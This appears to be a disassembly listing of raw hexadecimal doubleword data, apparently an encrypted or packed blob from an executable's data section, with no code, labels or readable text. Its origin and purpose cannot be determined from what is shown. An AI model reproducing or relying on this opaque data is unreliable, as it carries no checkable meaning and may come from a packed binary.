		dd 207358E8h, 6A5A6BB5h, 0FEA4E4DBh, 31751208h,	7BF1099Dh
		dd 0BFAC8C0h, 0C5860ABh, 0A8F57467h, 0A42FE919h, 37F492Eh
		dd 0CB27F135h, 5BD69082h, 0E994C027h, 25279E8Eh, 55C44BF9h
		dd 18331EFh, 0AE19C87h,	0A15D5B27h, 0CF8F8968h,	7E51CFDCh
		dd 0FC695475h, 0F04B4ADFh, 0D417BC44h, 0DD2FB9D3h, 0A6C8EE94h
		dd 2C5A5831h, 8C748117h, 0EB41720Eh, 4018F03Ah,	39661F40h
		dd 4EE1E6D1h, 20534FD0h, 5266F315h, 0B06DA08h, 9367E9D1h
		dd 0F197BF64h, 674E1972h, 4B057801h, 4BACC050h,	5A8A8AA2h
		dd 65CEAD89h, 13F8E912h, 70A79944h, 0D64E5AA3h,	68120F97h
		dd 0E2E30B31h, 91070E13h, 12AE8BFh, 0E23BFA01h,	7A76CB3Bh
		dd 27FA77A5h, 9D1B95Ah,	54E953E1h, 88173978h, 0AA870BF8h
		dd 49FFE31Bh, 0CE1E4B63h, 4F596B2Ch, 0DFF95D4Fh, 0E52D652Eh
		dd 0DA1FCC59h, 52E9CD29h, 0BFD07325h, 112B7999h, 60E84502h
		dd 0E95F5993h, 9501955Eh, 0C38009B3h, 0FE21D7DAh, 0E8D3F66Eh
		dd 885EA9EBh, 0E59B64A0h, 4CC4CE3Ah, 50732012h,	39C6B42Dh
		dd 24FC890Ah, 8971C51Ch, 5B9947DBh, 4ABAE450h, 58077D1Eh
		dd 41C4C19Ch, 539797E9h, 6ECE686h, 9C1FA0CEh, 6A43424Fh
		dd 16BE5600h, 0B901766Dh, 54498A02h, 0EA9EE906h, 92195604h
		dd 255F2753h, 8510BDC0h, 74EBB6ADh, 0A4C8EF88h,	0BD594B54h
		dd 97BF9F42h, 0B623B2C4h, 0F1AC958h, 0E30B4E7Ah, 0D5861ED3h
		dd 552D96F6h, 4ABBC179h, 15EC34C5h, 8BE4DF84h, 2EA518EBh
		dd 2F685D0Ah, 8E183AFDh, 0FF8292A0h, 4BE16C29h,	5C9596F1h
		dd 92165AF9h, 4CE0B29Fh, 7C972C52h, 36B96860h, 1735FF8h
		dd 7C94832h, 7CF1FD8Ch,	0BBB5D270h, 711678D2h, 595B3203h
		dd 0B3C65A25h, 4B65161Dh, 0C00B4057h, 759B89E9h, 8193BB1h
		dd 57724055h, 0D51F0490h, 0A7E8F618h, 7FAF9A55h, 0E62D098Ah
		dd 79596387h, 2E486DCh,	0F30FE942h, 92890EF1h, 0BF6459F1h
		dd 0F20181FDh, 41FC3CC2h, 1AF0BB01h, 0CBF134BAh, 0A5AEECF0h
		dd 20E728CBh, 5D18B197h, 8612CF01h, 17539F32h, 96419D08h
		dd 0FE859C2Ch, 0C5F7AA52h, 30FBC525h, 0CA5BDACEh, 324D367Dh
		dd 0CD765BB8h, 6C7E52A2h, 0AE934012h, 0D84CC39h, 0BFF2685Ch
		dd 3DB5A5CCh, 0ED9D6688h, 86153208h, 0F6E9405Dh, 0D3066D2h
		dd 0E92A0932h, 0C1B5E904h, 0FB40561Ch, 51394B92h, 0DB65B566h
		dd 0CADE5038h, 0A4DB7160h, 0E956581Bh, 6EA0532Dh, 9FBAA03Fh
		dd 69DF3E22h, 0DD65C500h, 0EA299620h, 8C265D5Eh, 0B65200B2h
		dd 5AF188C3h, 281D972Ch, 0E82D04C8h, 25E95429h,	3946E4FAh
		dd 0CD867198h, 67EE099Ah
		dd 345160B6h, 3E16E301h, 6C6401CDh, 24636973h, 0B135FE87h
		dd 2105E276h, 37B1CC7Eh, 0C2FE4D71h, 0C97F739Fh, 870A84h
		dd 2F62C3BBh, 825ABC09h, 4DFB32D3h, 1AD5EB42h, 5B0C0144h
		dd 1B422D58h, 62D1D05Fh, 0BAE97308h, 28E03ECAh,	60821A64h
		dd 2F186620h, 0E7E261DAh, 3FD15361h, 81013DB3h,	897951EAh
		dd 0D1D96E4Ah, 243A4131h, 93D5012Dh, 6F54CC6Ah,	85F56447h
		dd 0F76F9FC0h, 0C0398D5h, 162342D8h, 151DB1FEh,	0CA867EB5h
		dd 0F87C2095h, 501C1CE2h, 0F203BE10h, 4F306D3Bh, 3A25A2F1h
		dd 41AA2198h, 0C055E695h, 482C68F8h, 3CDFB825h,	0E97BB482h
		dd 326AC1BCh, 3020A61h,	0FFBBE25Ch, 0E0E1BA27h,	592DA3BFh
		dd 61B680BDh, 748BA6D2h, 0E0F84DE9h, 0D146476h,	0B8EBC45Ch
		dd 64BBC469h, 0E99A9CBEh, 67789F25h, 0DA2E3F20h, 0A6BE8335h
		dd 0C0BC4C17h, 343225BFh, 0F0315D00h, 5C98355Eh, 595678DAh
		dd 218BDBC2h, 0F115A484h, 243647AAh, 0FFF1C1D8h, 0AD62EC35h
		dd 42E96412h, 0F746B4C0h, 0F68105D6h, 81773810h, 7AD52CB1h
		dd 0A6689021h, 0CEB1C52Ah, 54562758h, 6A3F003Ah, 8345E937h
		dd 0ACB60483h, 0E0414219h, 7C703D9Eh, 20FD594Ch, 5E09D73h
		dd 0EB0481D3h, 6D0CB822h, 1ADC0280h, 943EF318h,	40813F8h
		dd 76F485Bh, 0A875E188h, 0EC4EABB8h, 0BC69B1C8h, 4BC78B82h
		dd 24E1FDDDh, 3E8421FEh, 59CD1701h, 0F60ED83h, 905B9F2Ch
		dd 469141Bh, 2A7855BCh,	86EC807Ch, 0F7E48A37h, 0AA68D90Ah
		dd 176A8E5Dh, 3D7FDC02h, 985F761h, 0C400BE29h, 0BA49B5E1h
		dd 268A983Bh, 922D7Ah, 0E566A535h, 70B82964h, 5003494h
		dd 77261AB4h, 6572092Dh, 88773553h, 503E071Bh, 0A65FE911h
		dd 0FBBE9100h, 0B70A0607h, 0FDD5AD69h, 3BF97224h, 51397E0h
		dd 5B01199Ch, 95E398C3h, 0FBD2340h, 45EB5541h, 0BBCFFD44h
		dd 299BC044h, 47549DEAh, 28808FF4h, 89F7E969h, 2570C99Fh
		dd 0BF56132Ah, 59E9493Ch, 3375C1E8h, 430A6E5Ah,	78AA36D9h
		dd 0AFB49718h, 0F450B554h, 48D8305Fh, 5B83A918h, 26BB2BACh
		dd 34B58180h, 2FC1C380h, 0E7620CC1h, 0D72BA0h, 26A35C9Ch
		dd 694F781h, 2C0E24Eh, 9D697E7Dh, 7FF9A981h, 9363E680h
		dd 6D052804h, 0C2AE4160h, 0B2D7521Eh, 79004159h, 0EB59D03Bh
		dd 0D8FF4003h, 760E82EDh, 52E9680Eh, 9DE07ACh, 13D5C378h
		dd 3397F9DFh, 6F616224h, 64450A1Ch, 2969EA05h, 1718C3Eh
		dd 8084DD82h, 0C2C012F4h, 5F3D0429h, 0F638A409h, 0BCA9D00Bh
		dd 0B9656C7h, 855684E2h, 75B86D62h, 7092646h, 8003D605h
		dd 0F40DE2E1h, 2C6A031h, 4DC4B576h, 231E6C0Ch, 47BFE67h
		dd 0E9397727h, 4862FC89h, 17C90E06h, 0F7480211h, 838840D1h
		dd 6C2D0134h, 0A54EE0Dh, 10C76B12h, 0E6059880h,	0E8D12F17h
		dd 7009EE50h, 29CFED8Fh, 52450099h, 0B56AC51Fh,	8045F6Ah
		dd 0FD30AB59h, 2C31AE68h, 155206F1h, 0DF5E6DBAh, 0E95109E0h
		dd 0DC26A941h, 0C156C5A2h, 3F1BB41Fh, 1D12CF97h, 0BBD34015h
		dd 737A06C0h, 4D58E97Eh, 902D660Eh, 4B058F5Dh, 0E852066Bh
		dd 0F70FDE16h, 0DE9111Eh, 44B23ECDh, 7BD0448Bh,	0FE7696BDh
		dd 0B579921Eh, 0C6A5C353h, 94E0361Eh, 12A1C843h, 0C637A698h
		dd 0E30AED20h, 0ADC839D1h, 602F8200h, 0B6B0E903h, 54310908h
		dd 2B5A7619h, 0C2171BE2h, 80B2F8B3h, 0CF0ACE05h, 5A00B579h
		dd 3936EBBBh, 0CB811400h, 66500910h, 4497904Bh,	2C0BC6E5h
		dd 0E2C8B2ADh, 0D70DC0BAh, 75771D57h, 2B166731h, 0BA805D7Ch
		dd 28B3046Dh, 0EAD12984h, 6812488h, 0AD53A1CEh,	40010C3Fh
		dd 0E922FB6Bh, 8A6B14DBh, 28777CC8h, 10366082h,	0A8D5D7E4h
		dd 0D9D484F3h, 5F2B6803h, 819C588Bh, 29F1DC83h,	0FE29C5DDh
		dd 0D6D02FC1h, 4E289F34h, 970BE9E8h, 1AA4F2D7h,	42D6560Ah
		dd 0B600CBC0h, 0F52831h, 0DDF65A66h, 5113B753h,	0E916B509h
		dd 0B507D8EEh, 56B4DC73h, 0CFA58AEEh, 700D5230h, 0A22BA3CCh
		dd 0ABD29F90h, 0E73B08B1h, 0F180DE5Eh, 6B649C1Bh, 37839D29h
		dd 3C0F70FCh, 657BD735h, 1C44868h, 0A5BDB341h, 0C02B3219h
		dd 0E56A9C3h, 58D86097h, 7F5C091Eh, 0A555DFE9h,	0A613D992h
		dd 5C5BBF82h, 8410725Bh, 739D5453h, 0A6C316D6h,	7A814124h
		dd 47E8AA74h, 0BA56D58Eh, 11E9B461h, 50029938h,	0C0FE40B0h
		dd 3EEBA941h, 8A83B927h, 541025DDh, 575C5246h, 0EC12281Eh
		dd 0E0B4035Fh, 11353845h, 97112DBh, 0B585058Dh,	89548232h
		dd 0D1C82102h, 3ADB49FAh, 47D542Dh, 900FE952h, 88C3FE1Ah
		dd 1F8D84Fh, 0B8D76884h, 0BE56C3DCh, 0B0EC8E8h,	416E59E9h
		dd 41FC024h, 0FA38C480h, 4BBFE02Ch, 4835A322h, 0D1E9A034h
		dd 0B773B522h, 4A5A5A14h, 658A5B00h, 8A290EA1h,	5C4C7Fh
		dd 171E0CBBh, 477EBE55h, 0E9B98A05h, 5FEDDCB6h,	0C335B505h
		dd 75379327h, 6E687488h, 0AB301F5Eh, 581A2352h,	0E705D94Dh
		dd 0F83AA96Bh, 537778E3h, 0D895EB25h, 1BAE2D68h, 680B1FC8h
		dd 7A14E42Ah, 56BB66D3h, 8524AA19h, 58F7CFEFh, 28A0278Fh
		dd 0C1E4D982h, 5772E921h, 72D737EFh, 48569A71h,	2F9F441h
		dd 0E8FD7471h, 3101E13Eh, 2AA2ED0Ah, 2E7B24F7h,	52C7026Ah
		dd 69B45683h, 0D2C12F27h, 0A49ED35Ah, 0B69E2158h, 66699F8Bh
		dd 0FCDC20E2h, 1B4CFAC5h, 0CDB500AEh, 33895E68h, 3CE0B0C8h
		dd 894CB899h, 5E303C52h, 0EFA6E491h, 0E7215C01h, 677720C2h
		dd 7B549A0Ah, 0B9F01740h, 44ACCDB1h, 0C5D0302Fh, 2D68F258h
		dd 0D09970BFh, 2A852A20h, 4EC18ABAh, 0E72C804Ch, 75801E68h
		dd 215E0BA2h, 0B2CED652h, 0A059F016h, 0B878175Eh, 9C14E2A5h
		dd 5898FEh, 689734B5h, 0CA81DAF7h, 4C488B0Eh, 0F0F2C035h
		dd 0F86F1F02h, 1EB27CE2h, 25E96863h, 0F30557FAh, 5E8F6D19h
		dd 0CF2A881h, 0D107763Dh, 0B4380865h, 0EC2F9536h, 925CA087h
		dd 0C7A3B0E9h, 92FA2520h, 3C613A88h, 20A340DDh,	0DDA8E8E9h
		dd 0A63CC580h, 9E1C4930h, 0E9EEEBC1h, 95BC72D7h, 3D02BE04h
		dd 2C0EE79h, 604CF216h,	73051A4Bh, 64985815h, 0E858C34Bh
		dd 3707E3EAh, 0F21061C2h, 467D21CFh, 4E67F2F1h,	0DE2CD1AFh
		dd 0A72103CAh, 0D1F9D2D2h, 8D708B5Bh, 0B9865FE6h, 0D708E1B5h
		dd 7F33D87Fh, 0E3319C40h, 0F4416A8Ah, 0C85C6498h, 8EB72553h
		dd 832212BBh, 0BF7B58DBh, 37565010h, 7C09A525h,	0F6130DD6h
		dd 7A547C8Bh, 4437A40Bh, 100C0F05h, 4F426809h, 5F544398h
		dd 0BA5FC9FEh, 854A5EA6h, 1A01AE6Fh, 172B218h, 1252C47Fh
		dd 93FEA208h, 0B996B2FDh, 0E10FCFFEh, 5C2E68C8h, 4847C824h
		dd 88D8EB91h, 58818362h, 0BBA8413Bh, 1C56C952h,	0D88227E9h
		dd 362F0AE8h, 8107D506h, 970D2BEAh, 126043C0h, 1251B880h
		dd 0B8344A50h, 0A3C09C01h, 350F431Ah, 0D659001Bh, 0EEB92D6Ch
		dd 0F89734ACh, 78B8006Ch, 0E9353DDDh, 0BE929EE5h, 6C2DD677h
		dd 2915C5B9h, 0A65008F6h, 2607C220h, 53D76025h,	0B068FBF0h
		dd 0A8DE9971h, 0D5072D01h, 0C59DFE4Eh, 4B032EEEh, 8A039C2Bh
		dd 3B16A391h, 0E094077h, 5D5B2B67h, 85684AB0h, 0E03B2A55h
		dd 8F5A76C6h, 698F49F8h, 0CF291390h, 566F7349h,	90684165h
		dd 0B3D2073Ch, 3EF5D9F9h, 7E84A5DBh, 7FA3508h, 0B02055Bh
		dd 0B479C176h, 66D5D16Eh, 7AAE4253h, 30AF4D53h,	838F2868h
		dd 0C05D2E11h, 0CFFC736h, 7635CF05h, 1CC07812h,	33223BFh
		dd 0C1D6F767h, 0E69B04EEh
		dd 0CA0E075Eh, 78F8874Dh, 848CF661h, 0A02F7CCDh, 8E5A6BD5h
		dd 0E2C4B7ACh, 7C8E2EFh, 9FE29DFh, 0AEE3C7C2h, 0D44936B7h
		dd 4C692BBCh, 0A8B532F0h, 0D282B3E8h, 910A6D11h, 0EAB5A828h
		dd 1497ABF2h, 0FEE918F3h, 6BF2E374h, 4A674439h,	650356A8h
		dd 4214607Dh, 187B1C38h, 850C2FA0h, 0AFD300B3h,	535AD501h
		dd 7928E950h, 801CA617h, 0F905AAC7h, 0F71C285Bh, 0AE9FA02h
		dd 0B7B1A3ABh, 0ED2628DDh, 0CE10F5CDh, 7267876h, 151DE162h
		dd 89A03F58h, 0D2989570h, 5782D567h, 0F0D17499h, 9991B076h
		dd 1E27F83Ch, 0BC1C7923h, 6DB1C898h, 72094EC5h,	965939C9h
		dd 96E91034h, 0FC5A2D25h, 0CBFE420Ah, 7987F854h, 0A3E3D928h
		dd 0C153069Ch, 0D4A60CE4h, 90B68F27h, 1F665366h, 5275EC68h
		dd 6E84A11Dh, 25589C9Eh, 29EA134Ah, 6FA02EE5h, 9F181825h
		dd 5484652h, 63EABC2Dh,	5C29B93h, 5B1D6D22h, 6807F03Dh
		dd 0E621022Dh, 0E911E15Fh, 26172A22h, 1DA1B2ECh, 236800E8h
		dd 8F2FC476h, 459AEBE4h, 6C971C20h, 0EC713077h,	0EEC38133h
		dd 0EE44634Bh, 39E80244h, 0BB6B7C84h, 348BDA31h, 582887Bh
		dd 61F3B95Ah, 57C7BB18h, 2C5FA5BDh, 7C884021h, 16E240ACh
		dd 5BD5E397h, 8586DE7h,	8351B605h, 0F005AE67h, 24F45808h
		dd 68530557h, 0BAFE074Eh, 2EEF9853h, 911460CCh,	97F6817h
		dd 0A5D0E952h, 0BF94D690h, 5836C025h, 0A93FFC22h, 9B6E5EBFh
		dd 0CDBD4A56h, 0F099E917h, 0D62D290Ch, 0BD5D25Ah, 467C22AAh
		dd 78217D0h, 0EA596BFEh, 14CEF26Eh, 7D269725h, 7CF3EE00h
		dd 215A6658h, 9D16B2F0h, 0D972C39Ch, 38D83AD2h,	515B8058h
		dd 0D101FFBEh, 4909AE78h, 80962460h, 5D58E831h,	892E6F2Eh
		dd 46BAC174h, 97ABEBD8h, 9698DEF1h, 0CF78135h, 60E86EB9h
		dd 0F162A0Ch, 3EC54E5Ah, 0BF8290BBh, 765CED3Eh,	8F662DA8h
		dd 67B14114h, 0C93C4873h, 7E847948h, 0A527EE79h, 56FC9582h
		dd 2B305139h, 78BA2385h, 784B684Ch, 7866F7F4h, 12EE2552h
		dd 0A68247F1h, 0DF8BE688h, 459BC2ECh, 38945D49h, 9048E913h
		dd 31A27941h, 3F704217h, 294AB55Ah, 74120B0Bh, 0E9843AF6h
		dd 44AEA840h, 9E2D660h,	5B04EE5Bh, 0B13FB802h, 416FEEBBh
		dd 0E81EAB96h, 0AD74303Fh, 0CA08CF72h, 5A7EDE9h, 8902EA83h
		dd 3C896E4Ah, 0F32ED4F1h, 0AC26D3AEh, 161709F0h, 6EFE7970h
		dd 0B2F2290Ah, 5E5B0B20h, 0D6D868ACh, 87809E7Ch, 0CEC0B0F2h
		dd 0A29C3108h, 0BD689609h, 0BB4B9963h, 216D456Eh, 6961EAD8h
		dd 38738859h, 0B7EF2578h, 5163B812h, 0A1A6E75Eh, 1F5E2A7Ch
		dd 2316A0DFh, 31457B22h, 5A2CBD1Ah, 0DFDC2C5Bh,	9668354Bh
		dd 0EEB0542h, 0F8A70641h, 6AE91DB4h, 59206927h,	15E84531h
		dd 0F2479D22h, 0DACBC32Ch, 0D20A20BDh, 155346A1h, 851CA692h
		dd 8DA8EF47h, 82C9E65Bh, 0D4C654E9h, 0A5BA929Fh, 2A5AF006h
		dd 2B274E24h, 17CC3408h, 0FAA6E064h, 0BB96140h,	4B7656F6h
		dd 9E7A104h, 0D3AA82BBh, 0D2C0DF03h, 80BF275Fh,	0C8FB9DAFh
		dd 0AC51506Ah, 4960821Bh, 59251221h, 0F485C6Eh,	0CDB3C0Dh
		dd 2A9C1CC9h, 2E185FE0h, 898737Ah, 23ECD71h, 4C5BE305h
		dd 6AAFE174h, 0C53016A7h, 2C2E1F0Ch, 0AE100BD6h, 0D6D0281Fh
		dd 120F759h, 788ABA52h,	402E07D5h, 0B3656D2Fh, 545E010Dh
		dd 0C06A1CDh, 4AE9266Dh, 555A8B06h, 58BC9616h, 7AE85344h
		dd 0C516280Eh, 415AB877h, 62116107h, 78105058h,	0EEDFF780h
		dd 141BADDh, 6E72E0BAh,	60D70919h, 0BF17C705h, 4885C1CFh
		dd 1E5C4FBBh, 0D85A7D7Eh, 0F9A80115h, 2980F380h, 5BA6EEE8h
		dd 429E9D62h, 5225AC0Bh, 801CE6C0h, 0AC9C5EE7h,	0DFF61716h
		dd 88DDEE01h, 0EEF85BFEh, 0F0281220h, 0F805AE5Ah, 90D037E9h
		dd 0AC22F368h, 103D0088h, 0E381437Fh, 4E1F35C7h, 96DE916h
		dd 0C9C5D97Dh, 0C6A58CF6h, 0F0E91256h, 0D5E36179h, 0ACF33AAEh
		dd 0E6EB5C8Fh, 0E0D33F40h, 0DA609598h, 0D89C52Dh, 843EE53Ah
		dd 7B54C1CFh, 765102E3h, 0CFD0695Bh, 7E859580h,	5A27C92Fh
		dd 4208828Bh, 78170975h, 0EDE827A1h, 0C1E78FF6h, 18826ECDh
		dd 0B9687AB2h, 30A5CC7Fh, 0E19F8A78h, 302425FCh, 0E0015203h
		dd 0E9384D5Dh, 99F252A2h, 0D9D8A7D6h, 4E589694h, 0F76680CDh
		dd 459C62CFh, 0D1416017h, 3EF95096h, 9CA176E8h,	321F8289h
		dd 85007ADFh, 7653A470h, 950658C1h, 0C4453607h,	63CAF035h
		dd 3E7CE316h, 44FEE206h, 0A364CD2h, 0A6FDAAF1h,	73F60099h
		dd 2FE932F4h, 5DEC1564h, 0C9E5CFC9h, 5A14202Bh,	7249C768h
		dd 0A37F1045h, 0F2BCAC3Eh, 8D90BE12h, 0FC946F4Fh, 1B9AD401h
		dd 1C3B6208h, 548C6BDh,	30B415A0h, 0DF020D28h, 134CD5Fh
		dd 8FF88D5h, 56535A09h,	674258C2h, 0FF443181h, 606DE0Ch
		dd 30E1F003h, 11E04105h, 9FB02529h, 5577F6F4h, 264D69h
		dd 0F14BFEEh, 502C2435h, 79830711h, 55432072h, 6C9557E9h
		dd 202453Bh, 11751FDBh,	0CB4456FCh, 59DD8ABEh, 62B8CB69h
		dd 74477D2Dh, 0DB94E986h, 40659722h, 6027CC24h,	0B9E35AAh
		dd 315853C4h, 0EB0B0776h, 3F526C5Dh, 752DE9C3h,	33B9A2A0h
		dd 26C330B5h, 0C5E33CBCh, 8A712FAh, 0BA01F3DBh,	0EF56BD3h
		dd 0A6953230h, 0F02925FBh, 2D0B6714h, 0D4064879h, 84A520FDh
		dd 8107A108h, 78F00405h, 0F2521F94h, 0B64E8C8Eh, 7EE90B87h
		dd 3B9D90DAh, 48419CDBh, 0FB522DB5h, 0AFB40AFCh, 82A8FB21h
		dd 98FACAE6h, 50416C2Fh, 12BAFA4Ah, 0A172F11Ch,	898B030Bh
		dd 44602AB9h, 0A0C0A8A1h, 24E9C231h, 96E05E52h,	53231ED1h
		dd 8917C1B2h, 742D2BCBh, 0AB121860h, 877C1DD6h,	8D31AD9h
		dd 0D96F49DCh, 8B382FEBh, 0FBEA295Ah, 0BD64CDB2h, 0A5628E7Ch
		dd 52E7735Eh, 4F08EEA0h, 1A1DE606h, 0D67F7031h,	141A0502h
		dd 0CF5EC1D6h, 0D15C6059h, 8F04E769h, 60FA1291h, 41058C9h
		dd 805DD388h, 3B59EB80h, 798D2ECBh, 59BA6805h, 0BDC466F8h
		dd 0DDEF415Dh, 0BF204C77h, 553A02E7h, 9DE92D46h, 5E4E03D0h
		dd 67BBA753h, 3E432D9Fh, 5E63D4B4h, 272F8AF5h, 422B5CC5h
		dd 33C6B0BCh, 35BB659Fh, 88ABE0Ch, 0D7685C05h, 5E5F2227h
		dd 90C46629h, 63C49D49h, 904FF574h, 6E2D0C00h, 27DC47A2h
		dd 0DAD6C121h, 44E91CCBh, 74410D33h, 9B1A5A83h,	3AD90C69h
		dd 92402FE6h, 0FA6349E7h, 0C70EC07Ch, 97BFBEBAh, 3612574Eh
		dd 595B41FAh, 74B599E9h, 541693ECh, 0DC016BC9h,	72EC336Fh
		dd 122EC3D8h, 0BBBC1B02h, 4D619044h, 440003B3h,	0E929B676h
		dd 86B19E65h, 0FEDBC546h, 0C369B726h, 577DF005h, 0F8E1095Eh
		dd 575B0707h, 0D1849229h, 0FD8904A8h, 6E9BB7B2h, 2F6FB589h
		dd 5EBA47C8h, 4EB9CC40h, 522D1B72h, 7FD44095h, 890082D5h
		dd 38A0338Fh, 12865048h, 71EB915Ah, 0E0B353FAh,	0E91AC6B1h
		dd 55CF0A75h, 257DDF80h, 50B75732h, 0FF768B4Fh,	133E6891h
		dd 882A904Dh, 0CB40F61Bh, 49EDECADh, 0F04C6398h, 265C4210h
		dd 6C09BA61h, 42A7148Ch, 5C2C1218h, 0FB4074EFh,	70B80928h
		dd 0A77BE15Fh, 0DC0127DCh, 4C525948h, 51955A11h, 9DD4EBADh
		dd 105BA5B8h, 8087DD32h, 671736B9h, 8E4B69C3h, 69757E47h
		dd 0F76B942Fh, 87A7A676h, 5B570114h, 0B58267Ch,	757AE968h
		dd 1C2C071h, 3644DFCAh,	0A7A3E913h, 0E690E8ACh,	0BDEDBA77h
		dd 62ACA767h, 2B2EA40Eh, 4073D63Ah, 56FBA034h, 87648495h
		dd 64836B8h, 0E91FF8F7h
		dd 68ACA6EEh, 9971B20Bh, 6AE4502Ah, 19B5247Ah, 6F7E2DE9h
		dd 5CA7A348h, 0BF09C9D9h, 0DBF72FE0h, 0C3BFF398h, 0E6260022h
		dd 893412BDh, 594AE9DAh, 11C7E643h, 649FE75Fh, 2C05C6ECh
		dd 4EE5FCD0h, 1F9E39FDh, 2CF00E69h, 0E9E6829Fh,	47A60C19h
		dd 2EA006D3h, 5D825AFEh, 0EF16CBC3h, 0D2E1F068h, 0C48EA23Ah
		dd 0DCBCCCE9h, 512A8B42h, 699B96DEh, 0F577A955h, 2BFA69Ch
		dd 6C14B16Bh, 16CAB92Bh, 8C7008F3h, 0CFB85D12h,	2C083E0h
		dd 0FA17E92Dh, 55FC2DE1h, 59E4B851h, 0D906D1F6h, 0B9EF38E9h
		dd 934F9209h, 1B8B55h, 20583F49h, 93F8B49Eh, 9391A2B2h
		dd 0EA8406FDh, 0CFCCFF5Dh, 0B3794ED9h, 0BEF1162Ah, 0ACE545A8h
		dd 85E9A068h, 9AD5CF7Fh, 5B728342h, 7508D260h, 436F6512h
		dd 0C6539D02h, 0D805C067h, 34C08260h, 0C7AEEEB0h, 0CBCF5197h
		dd 348BEF56h, 60249AF1h, 1361FA64h, 0E810BBDh, 79A27E60h
		dd 0BC492EE9h, 0A5477C33h, 0E98A88BFh, 7CCE4C25h, 1003617Fh
		dd 79DF3038h, 528D935Eh, 48736B66h, 0BD3553E1h,	0EB00E23h
		dd 1555FF9Fh, 725E8F11h, 3E3BA00h, 0BB294901h, 23F733E1h
		dd 85587731h, 0EA40BBFh, 0CB42EB5Ch, 0CB961075h, 62F0264Ch
		dd 4A960085h, 86E927EEh, 9F41B15Ah, 540A635Bh, 17330E00h
		dd 9C0C6261h, 0E9F844A5h, 7CCB248h, 53515A5Bh, 0E8D35959h
		dd 0B6B4E985h, 1213D7ADh, 0BF9C416Ch, 6E89597Ah, 0ACE8B312h
		dd 25B4ED4Ah, 7447F455h, 0A30467D2h, 68E811EEh,	84A97BCBh
		dd 7C3A25Fh, 0A4680218h, 95F226DDh, 0F9429D57h,	2F24140h
		dd 0BD2901Fh, 17B058D7h, 65B63852h, 285AF001h, 0E95166D8h
		dd 0D588E8B2h, 0EC566EB0h, 0FE6839EDh, 513F63CBh, 23F4A711h
		dd 0F2F817BEh, 9D001DCDh, 2370B9h, 0E18129AFh, 39FA415Ah
		dd 12B20EDh, 2FEAAA7Ch,	72FCFF5Bh, 0FDC58BE3h, 2E89D39Bh
		dd 2F3D2D3Eh, 8E6B66D9h, 0AE7E13F6h, 0AF40A0F6h, 8DBB753h
		dd 2ED54C4Bh, 0B25A45E9h, 0F1FC5DBEh, 0F6CF6C6Eh, 89119530h
		dd 53F8F850h, 8FF4E94Fh, 15A712BEh, 1776E8F1h, 18EA3410h
		dd 21DA0E5Ah, 4608CC12h, 1BBC3408h, 93A4CD66h, 0B6690245h
		dd 0E14C8412h, 0E54A12ABh, 52F43B29h, 16E5BEF6h, 0BC21EF05h
		dd 2DA5796Eh, 0E09C928Ch, 7BCA6812h, 0C8533533h, 1D9B1A42h
		dd 80BA5B31h, 81DEEFF4h, 812B6EAh, 0DCE53278h, 0A2E90800h
		dd 908B9277h, 50E30ACDh, 1F9D3B55h, 22F94972h, 6AF24680h
		dd 4E3028B6h, 0D8E652F7h, 0B8617112h, 4DD201CBh, 0F309CD74h
		dd 0BF846A5Eh, 1FBA5C4h, 122BAC64h, 0E9D5300Ah,	7CE8693Bh
		dd 36ECF504h, 0C1EF8988h, 7AE3B5D3h, 0F057A134h, 7D5FDC81h
		dd 62BE6600h, 78B73B74h, 7822908h, 0E9A6ACFCh, 6E8B3DD4h
		dd 62A55E0Eh, 0EE20A70Ch, 0E3113DD3h, 10F3660h,	47239B27h
		dd 0A445EF87h, 0B6035006h, 0B0589806h, 51D14F7h, 0FE097642h
		dd 0F6FD075Fh, 1F4381ABh, 0C6B02F89h, 3412F148h, 0D6622300h
		dd 0F81FC13h, 6C32EDCEh, 2E6C1A3h, 239AB205h, 89D42B0Dh
		dd 680480BDh, 0B810965Eh, 46751E25h, 9FE99B84h,	0A6F1D795h
		dd 332C4082h, 0E4C101AEh, 0A1C47CC9h, 0D3345F92h, 61270C24h
		dd 0E2674A5Ah, 6CE207F8h, 669864C0h, 32E91FB3h,	4449ECD3h
		dd 0FA21E6D5h, 0CB9F4CCEh, 0B270F381h, 3CEBED1Ch, 0EB24F37h
		dd 0B057929Fh, 0C5BD5F79h, 0B9A2AD46h, 0BC51FD48h, 67A8DC2Fh
		dd 0BC2C3568h, 1FE9C290h, 0FCB075B8h, 6CBF22F3h, 4751557Eh
		dd 5E31E9D8h, 0D3C9E88Bh, 0B0B66563h, 26EC680h,	0E9F18851h
		dd 9E54C83Eh, 3DAE6B82h, 20FCDE18h, 5C7724E2h, 3CBF208Eh
		dd 7F257C7Bh, 0EE92960h, 0F42FCF94h, 93E9782Fh,	5722646Ah
		dd 303ED5E6h, 0BD100346h, 761E29D1h, 0D4C94519h, 8D69D9EDh
		dd 82D91304h, 0E260E544h, 20E88776h, 6158B0Eh, 0BF060722h
		dd 87096AD8h, 7C0A4C3Ch, 45240071h, 0D189EF20h,	4AD65A52h
		dd 0A29083A2h, 0D11F6505h, 59130B27h, 0C33E8A1h, 0D2E5EB54h
		dd 0AAD2C68h, 0F01D040Fh, 370264CCh, 0F5681B2Eh, 89C8D907h
		dd 0B65CCACEh, 682F84E9h, 21FA9C16h, 505300F3h,	0EE6250B0h
		dd 9B4406Fh, 67F0DEB0h,	5627549Eh, 4B591E67h, 9D7EB0C4h
		dd 0D32FAB82h, 3AD07055h, 71311418h, 0FCBC400Ch, 0FD0C8938h
		dd 3AEE015Fh, 6B04805Dh, 97D25E98h, 116B46FEh, 1CB59C0Dh
		dd 0B6A6257Ah, 0C462045Eh, 0AA8009A1h, 265935C8h, 123074B6h
		dd 0B72E3BD1h, 0EA12ADC0h, 299D3304h, 47BB59CEh, 8736EE16h
		dd 0F4689764h, 5AB9E337h, 58F46D22h, 0BC5C5F4Ah, 0B78864DFh
		dd 71E5E54Eh, 0C030EB73h, 711E68EFh, 0B850020Ah, 2B385413h
		dd 1EA6C184h, 3DAB5F12h, 46452ECAh, 2ECD68BCh, 8C2C6C78h
		dd 0E0B20873h, 548D963Ah, 9D9701E2h, 6FCB2BEAh,	0F02E3741h
		dd 8A4A44ADh, 167632B3h, 0CB16FC26h, 0BEE384Ch,	76F5CCDCh
		dd 823092C6h, 1657548Bh, 75BB7A7h, 0D410DEACh, 3DFD662Eh
		dd 0E50AC27Bh, 0A6225449h, 1BC5016Fh, 97006D25h, 0D258EDADh
		dd 0D028EF09h, 2E3AACC5h, 510EE680h, 5F2CA4B1h,	25301DAAh
		dd 0BD01B5FEh, 0B719E93Dh, 2D09A67Ah, 89CA8967h, 58351CD5h
